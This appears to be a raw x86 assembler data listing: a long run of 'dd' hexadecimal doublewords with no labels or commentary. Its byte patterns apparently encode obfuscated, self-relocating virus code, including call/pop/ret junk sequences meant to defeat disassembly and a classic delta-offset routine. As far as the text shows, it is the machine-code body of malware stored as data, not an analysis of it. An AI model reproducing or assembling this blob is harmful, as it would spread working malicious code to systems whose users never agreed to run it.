		dd 0FFFFFFFFh, 6850Fh, 0BD8B0000h, 5E42A9Dh, 0E183F98Bh
		dd 24840F01h, 89000000h, 0E41DA99Dh, 0FFA58305h, 0FEFFFFFFh
		dd 6DBD8960h, 6105E42Eh, 4C509589h, 0BB664755h,	0E97C58h
		dd 8D000000h, 0E8689FB5h, 9E805h, 23370000h, 6B17901Ch
		dd 0E99EC6A8h, 13h, 0E7BA6760h,	821D5FA5h, 89967BEBh, 71C3C0CDh
		dd 5FCBB28Eh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD8B90C3h, 5E42261h, 10C195FFh
		dd 8D8905E4h, 5E408F5h,	5800Fh,	81660000h, 0B9E05DEBh
		dd 0E3Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0B6C35141h, 0B19D2960h,	0B805E432h, 0A5597C4h
		dd 0FCE18361h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	75C35747h, 11E8B967h, 73000000h, 7263BEB2h, 2F17C4A7h
		dd 0DC3476E1h, 0DC6972C5h, 89616060h, 0E42201B5h, 0FC5F6105h
		dd 0B8h, 0B58B6000h, 5E4204Dh, 68E0Fh, 9D090000h, 5E42841h
		dd 66D22B61h, 33ADD88Bh, 3E8D1C2h, 4E983D0h, 9E8F475h
		dd 47000000h, 0ED1A9F7Dh, 209B4A9Fh, 7EA0BA60h,	61FC62CCh
		dd 518D895Bh, 6A05E424h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 6F20C356h, 64AE3769h
		dd 9D8992C6h, 5E40841h,	9CA529BBh, 880D66h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 1ED908C3h, 11E8h, 8FE8A200h,	2D71B35h, 0FD53499Fh, 8962C745h
		dd 0BD8B7F11h, 5E42AE5h, 95958B5Bh, 6605E410h, 8D8BDE8Bh
		dd 5E42C65h, 31E9BD8Bh,	8B5005E4h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	9360ABFh, 61D78125h, 663FB231h
		dd 83AE58BBh, 0E42135BDh, 840F0005h, 47h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 7AC35040h, 746DD8C6h
		dd 49B53164h, 0B805E421h, 0
		dd 4C308D8Dh, 0EE905E4h, 0FF000000h, 34BF7CB3h,	616DDF17h
		dd 4D7C29FAh, 83E1FFE4h, 0E430FDBDh, 840F0005h,	3F8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7FC35646h, 3220E41Eh
		dd 8BA0122Fh, 8371B3FAh, 0E430FDBDh, 840F0105h,	3DFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5FC35545h, 3347BB1h
		dd 5910E73Fh, 0FDBD83A4h, 305E430h, 377860Fh, 9D8B0000h
		dd 5E407A5h, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 6623E0C1h, 6AD98Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E09788C3h
		dd 0F59D0B59h, 8005E412h, 3ABF04E1h, 0A7157FCh,	0D7840FC9h
		dd 8B000000h, 0E42C9D85h, 69E38105h, 336D6C63h,	0E4209985h
		dd 0A8A0F05h, 60000000h, 31898D89h, 616005E4h, 2BBF5061h
		dd 89484DE7h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0A00CBAC3h, 0D61AEE9Ch, 6AB532h
		dd 29D19D8Bh, 0D96805E4h, 8A756CB6h, 243481D8h,	7573B526h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 45C35646h
		dd 0DCDBFE95h, 0A250D922h, 0FFDF8B54h, 0E4015995h, 618D8905h
		dd 8905E423h, 0E79F5F85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0F3E929F9h
		dd 0E9000001h, 12h, 28F91E7Ah, 0D553E142h, 16744705h, 21F815AEh
		dd 858B13B6h, 5E79F57h,	0C7FE8Bh, 18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 22C35646h, 0BE8DCh,	67C80000h
		dd 617AFED2h, 0C6FF9689h, 9D8B56CBh, 5E42189h, 0B58B5F5Bh
		dd 5E79F5Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0F1C35747h, 319D9D29h, 0BF6605E4h, 858B60DAh, 5E42A21h
		dd 31E58589h, 68905E4h,	3800Fh,	0CB800000h, 51BB6693h
		dd 9D858B25h, 6A05E42Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 92DAC350h, 8435BEACh
		dd 5195898Ah, 0E905E420h, 0Bh, 16528537h, 8B310E8Ch, 89FD70AEh
		dd 95310446h, 5E41195h,	50FEBF0Fh, 60A2B660h, 66C38B66h
		dd 6161FE8Bh, 0F243489h, 681h, 9BD0300h, 0FF05E411h, 0E79F57B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0D7245D9Eh, 3A471BC5h, 99D2989h,	0E805E408h
		dd 4, 1F03FFh, 62B86660h, 53506145h, 5FDF8B66h,	424448Bh
		dd 310F5250h, 0F88A5250h, 9E8310Fh, 66000000h, 0C499597Fh
		dd 93AEEC11h, 5A585A5Bh, 53008B58h, 895F5F53h, 0B3042444h
		dd 858D586Eh, 5E79F5Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0CC35242h, 0D3806EE4h, 0D59D0B14h, 5005E403h
		dd 56525060h, 0F310F5Eh, 8Ch, 61585A00h, 60240489h, 108D9529h
		dd 9D8B05E4h, 5E41A65h,	5995FF61h, 6A05E401h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0ECE2C357h, 2E6DB531h, 896105E4h, 0E40F598Dh, 0FD85C705h
		dd 305E430h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 9E4EC350h, 8383733Bh
		dd 0E79F5FBDh, 840F0005h, 29h, 0E9DBB70Fh, 3Ch,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D0C35646h, 21761405h
		dd 0C305004h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 9D8B8AB7h, 5E41341h, 30FDBD83h, 0F0305E4h
		dd 38B85h, 5FBD8300h, 5E79Fh, 37E840Fh,	6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 50D47CC3h, 0EB417897h, 13E8h, 0E2AD3700h, 0B50245F6h
		dd 8A98C502h, 0E5C804A5h, 855C3EE2h, 0FECB8166h, 0B5FF5B13h
		dd 5E79F5Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	94C35747h, 95E6DCBFh, 1A44BB66h, 1C1595FFh, 0FC8A05E4h
		dd 9F53B58Bh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 1C8274C3h, 4230BE01h, 60BFDF99h
		dd 8BF98B66h, 0E40859B5h, 6C76105h, 10001h, 75BD8Bh, 895005E4h
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0C14BCAC3h, 5278FC85h, 31659589h,	0FF5F05E4h
		dd 0E79F5FB5h, 0FFFB8B05h, 0E4172D95h, 8BF98B05h, 0E79F53B5h
		dd 39BD8905h, 0F05E41Dh, 684h, 0E9BD8B00h, 8B05E42Ah, 0E41D1D85h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0B753225Eh, 8689F96Bh, 0C4h, 0E850Fh, 33600000h
		dd 0E4318D9Dh, 818D0105h, 6105E40Fh, 1095958Bh,	6A05E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0DBB3ECC3h, 0C2832373h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BB66D666h
		dd 5089075Dh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0E4B8D3CFh, 12FE3A0Ah, 858D5D19h
		dd 5E7B384h, 19BDBD8Bh,	868905E4h, 0B8h, 266DB509h, 6A05E4h
		dd 5FB5FFF9h, 3105E79Fh, 0E42A958Dh, 4595FF05h,	2905E410h
		dd 0E40CC5BDh, 0BB665005h, 3489C9ADh, 119D0B24h, 0FF05E424h
		dd 0E79F5FB5h, 0A5BD3305h, 0FF05E419h, 0E4136595h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BD835A7Ah, 5E408F9h, 4C840F00h, 0F000000h, 1E85h, 12E800h
		dd 7E550000h, 0D7550CC5h, 0CEBFF64Ch, 4DBB4128h, 9122A4B9h
		dd 31B4CB81h, 965B1279h, 0FA48BB66h, 11E850h, 56690000h
		dd 5B61DCB0h, 0A58FD808h, 0DD951A37h, 667DCE7Ah, 5BBB87BFh
		dd 59E78196h, 0FF395FEDh, 0E79F5FB5h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 6B39CD78h, 767A3BAh,	9D89AB21h, 5E41441h, 29C595FFh
		dd 0B5FF05E4h, 5E79F5Fh, 0DE9h,	0E0EAF800h, 6B771DB2h
		dd 0A4146348h, 95FFAA1Fh, 5E41971h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 7C35141h, 0BF0F9F0Ch, 25BD83DAh
		dd 205E431h, 60840Fh, 880F0000h, 5, 505909BBh, 91858B7Ah
		dd 6A05E411h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0A5D5C352h, 26558501h,	0BD8B05E4h
		dd 5E41A4Dh, 12E9h, 43A4C800h, 2CCA8884h, 3E922C07h, 0DC6EE40Ch
		dd 0C6A353C7h, 820F0000h, 6, 24558589h,	85C705E4h, 5E419E5h
		dd 0
		dd 68B0Fh, 0B5890000h, 5E41431h, 0FFF4B7E9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 36F01F0Ah, 2548ED0Dh, 14E8h,	0EAAE6500h, 0E0F448C6h
		dd 0F40931DCh, 0FD880D33h, 70AFA9BCh, 0DDB531F4h, 5F05E419h
		dd 0FE8h, 0BDF8B100h, 0BFE7E433h, 27149489h, 0A7AE9819h
		dd 5BF8B70Fh, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0EB81FDC3h, 5F970B97h, 19D5858Dh
		dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 97B14C3h,	0CB79DEEh, 89FA8B50h, 0F98B2404h
		dd 6AFFBF0Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 6A006A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 3926C350h, 8B99D8Bh
		dd 858D05E4h, 5E8FD89h,	83FEBF0Fh, 90F905C0h, 0DE9h, 81E39500h
		dd 72B95345h, 465D2035h, 6050740Ah, 0D959BA66h,	906107B1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5DC35040h
		dd 8166115Eh, 6A68E1F3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0CC57E55h, 0F64CD755h
		dd 2121BD89h, 6A05E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 54C35545h, 95FFF88Bh,	5E421A1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 32C35545h, 0CFC135BDh
		dd 309D2AADh, 8DDABF0Fh, 0E79E7F8Dh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0AD5F7540h
		dd 69A43E7Ah, 81663DEEh, 0FFCA58D3h, 53006AD1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0D4DFC88Eh
		dd 9E9h, 0BDB0FD00h, 1D76A83Bh,	0BD8306D3h, 5E42995h, 5F850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 13FAC352h, 8A51026Ah, 0BD0B5FDDh
		dd 5E41E15h, 50D98B90h,	56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0DAC177Bh, 4E0A607Bh
		dd 9985891Eh, 0FF05E413h, 0E4104595h, 93E9F805h, 0E800000Ch
		dd 0
		dd 93ED815Dh, 0E905E8FDh, 0Dh, 82F820EAh, 1C2A0278h, 23A8BE29h
		dd 68858D1Fh, 6605E781h, 5B18D381h, 0F890F50h, 0E9000000h
		dd 0Ah,	0A791DFABh, 8BA071FDh, 48957CFh, 57006A24h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0B464C426h, 89BD8B75h, 6405E407h, 35FFh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0C177C3C3h, 2B677739h, 0DBDBD89h, 896405E4h,	25h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0FBDD1C1Eh, 2A1D9589h, 85FF05E4h, 5E4142Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 17C35141h, 662574ECh
		dd 0E8F9D88Bh, 8, 26600740h, 0EA511304h, 2D53BF66h, 6AFF6A5Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 7AACC353h, 8B67E5E7h, 0E40C95BDh,	95953105h
		dd 8005E411h, 0B5FFC1C3h, 5E41611h, 11DD9D8Bh, 95FF05E4h
		dd 5E42DADh, 0F5E9h, 91BD8B00h,	0B005E403h, 6985BF00h
		dd 70E623F1h, 958971E4h, 5E40DB9h, 830F613Ch, 0D6h, 0B60F5F51h
		dd 0CDBD8BC8h, 0BF05E424h, 79E6DDBFh, 6BAh, 0E1BD8B00h
		dd 8B05E403h, 0FABF0FC1h, 2904E8C1h, 0E4173995h, 0E2F76605h
		dd 0FF1BD8Bh, 0C82B05E4h, 8BD18BF5h, 0E42D059Dh, 94E905h
		dd 9D8B0000h, 5E41729h,	4E49858Bh, 0C0834400h, 287EBF07h
		dd 9D8B6351h, 5E41355h,	8B00C083h, 0FD03BDFh, 1483h, 5E506000h
		dd 31099529h, 0F6105E4h, 5BE9FBB7h, 8B000000h, 0FF8D8BFBh
		dd 0E8FFFFFFh, 14h, 0EE8650BDh,	0D66547DCh, 0F65D102Bh
		dd 25D1524Eh, 70779CD7h, 6BD62CBBh, 0E1835F5Eh,	2B840F01h
		dd 89000000h, 0E4076995h, 0FFA58305h, 0FEFFFFFFh, 6E951h
		dd 6FFE0000h, 0C541CA27h, 4995895Bh, 2944004Eh,	0E41041BDh
		dd 0E905h, 0B58D0000h, 5E876DEh, 0D04131BBh, 6A006A35h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0EEE0C353h, 0F757016h, 0FF8925CBh, 0E410C195h
		dd 919D8B05h, 0B905E429h, 0FF9h, 3BF78166h, 0FCE1833Dh
		dd 2615B501h, 6AFC05E4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8BA2C352h, 0BD2956DEh
		dd 5E42B89h, 6AC02B5Fh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0E189C351h,	0BA8D0948h
		dd 0
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 2799B589h, 6A05E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 3F0B3FC3h, 0F8791BFh, 581h, 42DEBB00h, 13E87474h, 2F000000h
		dd 2B1141Eh, 0FA455EE9h, 67FD1555h, 0D18293B1h,	0BF0FB675h
		dd 880D5FDAh, 0E8000000h, 0Ah, 0E9707A37h, 9E01FCFCh, 8B5BCB04h
		dd 0E4109595h, 0C7816605h, 8D8B5FABh, 5E42C65h,	1499BD8Bh
		dd 8B5005E4h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 5870Fh, 81660000h, 6A7CABEFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0BECDC357h,	86B0C0E4h
		dd 0D7B2A24Eh, 0E9EB8156h, 5B54BF4Fh, 2135BD83h, 0F0005E4h
		dd 9A84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 705BA9F0h, 9F7B1200h, 0CEC38108h
		dd 6629AD23h, 8B88FCBBh, 0B8FAh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7A8A57C3h
		dd 4BB6655h, 68D0F32h, 8B000000h, 0E41D49BDh, 308D8D05h
		dd 6A05E44Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 61C6C356h, 0DC97241Dh,	8D01C25Eh
		dd 5E43199h, 6BEDBB66h,	83FCE1FFh, 0E430FDBDh, 840F0005h
		dd 3A6h, 12E9h,	2E430600h, 807252E9h, 0E670D1D7h, 1E39A6A1h
		dd 833E2EFEh, 0E430FDBDh, 840F0105h, 39Dh, 2A2D8589h, 0BD8305E4h
		dd 5E430FDh, 54860F03h,	6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 889FC352h
		dd 0FE256E1Fh, 0B589F7EBh, 5E42BA1h, 8EBB6660h,	0D98C66BAh
		dd 4E180F9h, 0AF98B66h,	0CC840FC9h, 31000000h, 0E4219DBDh
		dd 9D858B05h, 6605E42Ch, 33124EBFh, 0E4209985h,	8B519005h
		dd 8B505BF8h, 6A90D8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 9D8903C3h, 5E41991h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 1862C4C3h, 0DC0FB0BFh, 1F15BD29h, 9D6805E4h,	0BF11F2ADh
		dd 11E3D41Ch, 62243481h, 0E911EDAEh, 6,	1678B684h, 95FFA40Ah
		dd 5E40159h, 7E8h, 6B005F00h, 30EFDA33h, 5BFBB70Fh, 9F5F8589h
		dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 8589DAC3h, 5E41699h, 1C0E9h, 8B5F5100h, 0E79F5785h
		dd 58F0F05h, 66000000h,	88EFE781h, 1AA51BBBh, 1800C759h
		dd 0E8000000h, 8, 0E5A46A3Dh, 7B05F1C6h, 8B5BFE8Ah, 0E79F5BB5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FC700F14h, 2A21858Bh, 0FE805E4h, 2C000000h
		dd 88E52EA7h, 0CF176445h, 776B3423h, 5FFCB679h,	1D15B589h
		dd 68905E4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	97C35242h, 0CDBD8B93h, 8B05E40Ch, 0E42C9D85h, 0BE805h
		dd 58020000h, 284B13F6h, 5F931CD4h, 816656FBh, 5F3C5BF7h
		dd 446895Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0B6C35040h, 324B2D08h, 65116F18h, 0FC96BB66h, 0DA8B6050h
		dd 896114B2h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 92B9B3C3h, 1D699589h, 9D8B05E4h
		dd 5E427B9h, 9F57B5FFh,	68FC05E7h, 29645BA3h, 8C0Fh, 34810000h
		dd 7B585C24h, 95B52929h, 8D05E42Ah, 0E79F5F85h,	55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 90257C9h, 0E423E595h, 0BF669005h, 0B750F3B7h, 8960903Ch
		dd 0E4169D8Dh, 16800F05h, 0E8000000h, 10h, 7BFAAB2Ah, 0C10EDCE7h
		dd 24ABDCF2h, 12CFA0D5h, 0BD8B6158h, 5E43219h, 15995FFh
		dd 0E86005E4h, 0Dh, 9CD4A839h, 7DCA1BC2h, 4EB9F724h, 0A5950B13h
		dd 5805E426h, 68B0Fh, 0B58B0000h, 5E420E1h, 6A6161h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0E78125C3h, 7B738ADCh, 30FD85C7h, 305E4h, 9D8B0000h
		dd 5E41255h, 209D8589h,	0BD8305E4h, 5E79F5Fh, 44840F00h
		dd 0E9000000h, 0Dh, 6FF23215h, 847FBB2Bh, 233A2194h, 48E931h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0EF15CFC3h, 8181DA85h, 0CFDD72F7h, 0A19D8B18h
		dd 5005E42Bh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0A6BA44C3h, 95463E8Ch, 0BF66C871h
		dd 9D0BE93Dh, 5E4006Dh,	30FDBD83h, 0F0305E4h, 40485h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 5FBD83A4h, 5E79Fh, 3DB840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F7DAABC3h
		dd 0D600149Fh, 6840Fh, 8D890000h, 5E404FDh, 9F5FB5FFh
		dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0A28EE1C3h, 0B2F8B072h, 1595FF85h, 6A05E41Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A469C353h, 0E9E55712h, 0Bh, 6C73F678h, 0DE6625E6h
		dd 6695417Ah, 8B5E94BBh, 0E79F53B5h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 2E599ACAh
		dd 0CA7C70A7h, 32B8BB08h, 6C7728Eh, 10001h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 5BC35141h, 701BD0Bh
		dd 609605E4h, 10E8h, 9A46ED00h,	0E77D1FEDh, 63F8677Eh
		dd 1179A884h, 5040BB4Fh, 605B6C82h, 0B957BA66h,	66506161h
		dd 2396FA8Bh, 0E41CD59Dh, 0E1958905h, 0FF05E40Fh, 0E79F5FB5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 8553517Ah, 0FF6A05A6h, 0E4172D95h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 13CEB84Dh, 91E3A543h, 824BB23h, 0B58B639Eh, 5E79F53h
		dd 181DBD8Bh, 858B05E4h, 5E41D1Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0DC35343h, 0E60903FEh, 0B5896078h
		dd 5E42039h, 27BB61F8h,	89570E29h, 0C486h, 319D8900h, 8B05E414h
		dd 0E4109595h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 6FFEC162h, 8D31CA27h
		dd 5E41CB1h, 8904C283h,	0E427259Dh, 20508905h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 19C35343h, 93EF8166h
		dd 84858DB6h, 6A05E7B3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h
		dd 89ACC352h, 8B60910Bh, 0E42D7985h, 0D9D8B05h,	6105E428h
		dd 0B88689h, 6A0000h, 266D9D8Bh, 0CF8105E4h, 16F33F96h
		dd 9F5FB5FFh, 8D8905E7h, 5E423D5h, 104595FFh, 665605E4h
		dd 5BDA48BBh, 0D98B6650h, 0BF243489h, 15D2D264h, 9F5FB5FFh
		dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0E31FB3C3h, 0FFDFB70Fh, 0E4136595h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8189EDB4h, 0CF6936E3h, 0F9BD8318h, 5E408h, 12840Fh
		dd 0CB810000h, 0DDD5533h, 0BF96D88Bh, 6DBA10DCh, 0CB79650h
		dd 9F5FB5FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0C57325C3h, 0B880FEFh, 0E9000000h
		dd 6, 0F8E2A7C0h, 9589ECD4h, 5E40231h, 29C595FFh, 22BB05E4h
		dd 894B7A1Ch, 0E41BED95h, 5FB5FF05h, 5305E79Fh,	7195FF5Fh
		dd 6A05E419h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0B582C350h, 5E8h, 6D794C00h, 835BF24Bh
		dd 0E43125BDh, 840F0205h, 49h, 1819BD8Bh, 7E805E4h, 2C000000h
		dd 15E3498Fh, 85010DDBh, 5E42DB9h, 91858B5Fh, 6A05E411h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 4FABC353h, 0C05436B9h, 23D22A40h,	8B0000C6h
		dd 0E585C7DFh, 5E419h, 8B000000h, 0F47FE9DFh, 800FFFFFh
		dd 6, 0FF59D89h, 0C18B05E4h, 13B1B589h,	858D05E4h, 5E419D5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 29C35242h
		dd 8BD9BFB7h, 3DBD8B96h, 6005E402h, 11E9B58Bh, 10E905E4h
		dd 81000000h, 0BF3E174Dh, 0AE858BC6h, 3A5E444Ah, 61B42AEAh
		dd 3C92BF50h, 4890EBFh,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 87B1535Dh, 8529EB49h
		dd 5E400FDh, 0DC59D31h,	6A05E4h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 19h, 70C35242h, 0B7B0775Ch, 8D0FF58Ch
		dd 12h,	9E8h, 0B7CBF00h, 0B82C153Ah, 8B661097h,	6A5FFAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 18C35040h
		dd 6800Fh, 0BD8B0000h, 5E431E9h, 2640C781h, 858D290Fh
		dd 5E90C71h, 5C083F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 3DC35242h, 6D0AC9C5h,	2C5AB7DEh, 4C98D01h
		dd 669005E4h, 5042ACBFh, 530DB3BFh, 6A9034h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BE9DCC3h
		dd 0C6000000h, 5534F5ECh, 981BF2Fh, 6A32A4h, 6A006AF9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 6CE1C357h, 68C0Fh, 9D8B0000h, 5E422A1h, 21A195FFh
		dd 8B6605E4h, 7F8D8DF9h, 6A05E79Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0D181C350h
		dd 0D3814A7Ah, 2F24A54Dh, 2A599D29h, 0D1FF05E4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2DC35545h, 31E98589h
		dd 0BD8305E4h, 5E42995h, 5F850F01h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0D7FDC357h, 8D89B0A4h, 5E400F1h, 0C380026Ah,	48950DBh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0CEE6B70Ah, 8FC64B31h, 95FF36C3h, 5E41045h
		dd 810Fh, 29E90000h, 0E800000Dh, 0
		dd 7BED815Dh, 6A05E90Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 1096C353h, 816BFCDEh
		dd 1A3907C3h, 0A5BD0347h, 6A05E40Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0BE74C352h
